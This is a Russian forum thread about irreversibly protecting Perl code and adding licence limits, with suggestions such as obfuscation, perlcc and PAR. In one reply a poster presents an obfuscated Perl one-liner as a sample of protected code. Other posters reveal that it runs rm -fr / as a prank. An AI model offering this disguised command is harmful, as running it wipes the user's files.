URL: https://www.opennet.ru/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID8
Нить номер: 6863
[ Назад ]

Исходное сообщение
"Защита кода на Perl. Аналог Zend Optimizer ?"

Отправлено tz , 29-Май-10 14:56 
Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с возможностью ограничение времени использования (периуд использования в днях, ограничение по числу пользователей, привязка к компьютеру и т.д.) Для PHP есть Zend Optimizer, Zend SafeGuard Suite, а для Perl ? Или PHP в области разработки коммерческих продуктов - вне конкуренции среди интерпретируемых языков, используемых для создания web-приложений ?

Содержание

Сообщения в этом обсуждении
"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Пытливый Ум , 29-Май-10 20:06 
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с

Если на Perl'е писать как на Perl'е, а не как на PHP, то там и так уже всё "необратимо" зашифровано без всяких защит. И становится просто невыгодно нанимать школьников для поддержки и модернизации.

Вот классический пример:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Казалось бы строка кода, но уже из под root'a не запускается. По крайней мере у меня. Как ни бился с защитой - пришлось обращаться к автору.

Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых прокляты страшным проклятием геморроя. Те, которым вы хотите ограничения на использование ввести, проклянут вас страшным проклятьем половой дисфункции, если вы не сможете продлить им вовремя лицензию.

Если моя попытка донести вам свет самолично выстраданной мудрости провалилась, можете посмотреть в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам ворох новых проблем, ибо сыра в силу своей ненужности.

P.S. Период пишется через "О". Проверочное слово периодический.


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено izmena , 30-Май-10 14:44 
>[оверквотинг удален]
>Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых
>прокляты страшным проклятием геморроя. Те, которым вы хотите ограничения на использование
>ввести, проклянут вас страшным проклятьем половой дисфункции, если вы не сможете
>продлить им вовремя лицензию.
>
>Если моя попытка донести вам свет самолично выстраданной мудрости провалилась, можете посмотреть
>в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам
>ворох новых проблем, ибо сыра в силу своей ненужности.
>
>P.S. Период пишется через "О". Проверочное слово периодический.

вот вроде пишешь складно, а детство в **пе еще не отыграло ...имхо морду бить надо за однострочники в таких разглагольствованиях ...(для двоечников - не пускайте это из под рута)


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Ursadon , 31-Май-10 11:17 
>>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ? Желательно с
>Вот классический пример:
>cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
>
> Казалось бы строка кода, но уже из под root'a не запускается. По крайней мере у меня. Как ни бился с защитой - пришлось обращаться к автору.

У меня запустился :)
Только непонятно что эта строка делает... 15 минут что то ищет


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Гольдман , 31-Май-10 13:52 
Ну и придурок!!!!
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /

"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Pahanivo , 31-Май-10 16:49 
>Ну и придурок!!!!
>perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /

ну надо знать стандарные приколы )))


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено аноним , 31-Май-10 21:14 
>>Ну и придурок!!!!
>>perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' это rm -fr /
>
>ну надо знать стандарные приколы )))

Хе-хе ... Я думал после знаменитого ЛОР'овского "не печатает" :) все балюесы либо вымерли, либо поумнели :)

Охши ... это ж просто успело новое поколение вырости, которое не в курсе 8-\


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Andrey Mitrofanov , 15-Сен-10 11:18 
>ну надо знать стандарные приколы )))

Вот именно. :/ "У меня запустился :) ... 15 минут что то ищет" -- банальный прикол второго порядка<<<


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено tz , 02-Июн-10 15:22 
>Вот классический пример:
>cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Шалун ! :)

>Те, кто отсекутся, украв у вас скрипт, как правило нищие, копейки которых
>прокляты страшным проклятием геморроя.

Таких нищих - миллиарды. У вас, например, наверняка нелицензионная копия какого-либо ПО установлена ? :)

>Те, которым вы хотите ограничения на использование
>в сторону perlcc, par, perl2exe. Но вся эта бесовщина привнесёт вам
>ворох новых проблем, ибо сыра в силу своей ненужности.

В курсе и про perlcc, и про perl2exe. Но это конечно же сырые решения...

>P.S. Период пишется через "О". Проверочное слово периодический.

Спасиба за паправку. :)


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Ph.D. , 29-Май-10 22:14 
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ?

Есть. Надо его стереть перед использованием.


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Pahanivo , 31-Май-10 10:25 
keyword - абфускация

"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено tz , 02-Июн-10 15:18 
>keyword - абфускация

А разве обфускация являет собой необратимый способ защиты? Это ведь не панацея, а просто мера, снижающая читабельность кода. Конечно, и Zend'овскую защиту дебаггером сломать можно, но всё же хотелось бы найти аналогичное решение и под перл. Необратимое.


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Pahanivo , 02-Июн-10 16:16 
>>keyword - абфускация
>
>А разве обфускация являет собой необратимый способ защиты? Это ведь не панацея,
>а просто мера, снижающая читабельность кода. Конечно, и Zend'овскую защиту дебаггером
>сломать можно, но всё же хотелось бы найти аналогичное решение и
>под перл. Необратимое.

плиз ссылку на ман по востоновлению обфускцированного перл кода ...


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено аноним , 02-Июн-10 18:21 
>>>keyword - абфускация
>>под перл. Необратимое.

Необратимых нет. Почему - догадайся сам.

>плиз ссылку на ман по востоновлению обфускцированного перл кода ...

Да полноте вам, если там не хелло ворлд и када больше чем на пару экранов - перл код в обфускации не нуждается! Все одно - без пузыря не врубишься :)


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Pahanivo , 03-Июн-10 08:25 
>>>>keyword - абфускация
>>>под перл. Необратимое.
>
>Необратимых нет. Почему - догадайся сам.
>
>>плиз ссылку на ман по востоновлению обфускцированного перл кода ...
>
>Да полноте вам, если там не хелло ворлд и када больше чем
>на пару экранов - перл код в обфускации не нуждается! Все
>одно - без пузыря не врубишься :)

если кодер умеет оформлять код - проблем с врубанием не будет )


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Мистер Ы , 14-Сен-10 05:05 
>>>>keyword - абфускация
>>>под перл. Необратимое.
>
>Необратимых нет. Почему - догадайся сам.

Ну так и машинный код можно дизассемблировать при желании. Так написал как-будто это два пальца об асфальт. http://www.xakep.ru/post/37614/default.asp - верблюдика расшифруй плиз обратно. ;)


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено Sugar , 29-Сен-10 10:25 
> Да полноте вам, если там не хелло ворлд и када больше чем
> на пару экранов - перл код в обфускации не нуждается! Все
> одно - без пузыря не врубишься :)

Хорош чушь нести, если код написан более-менее разумным человеком, то все там отлично читаемо. На любом языке можно говнокодить, перл не исключение.
Вот пример из 500 строк кода: http://github.com/gugod/App-perlbrew/blob/master/lib/App/per...


"Защита кода на Perl. Аналог Zend Optimizer ?"
Отправлено chorny , 13-Сен-10 16:50 
>Здравствуйте. Есть ли НЕобратимые способы защиты кода на Perl ?

PAR::Filter::Crypto, Filter::Crypto::CryptFile, Module::Crypt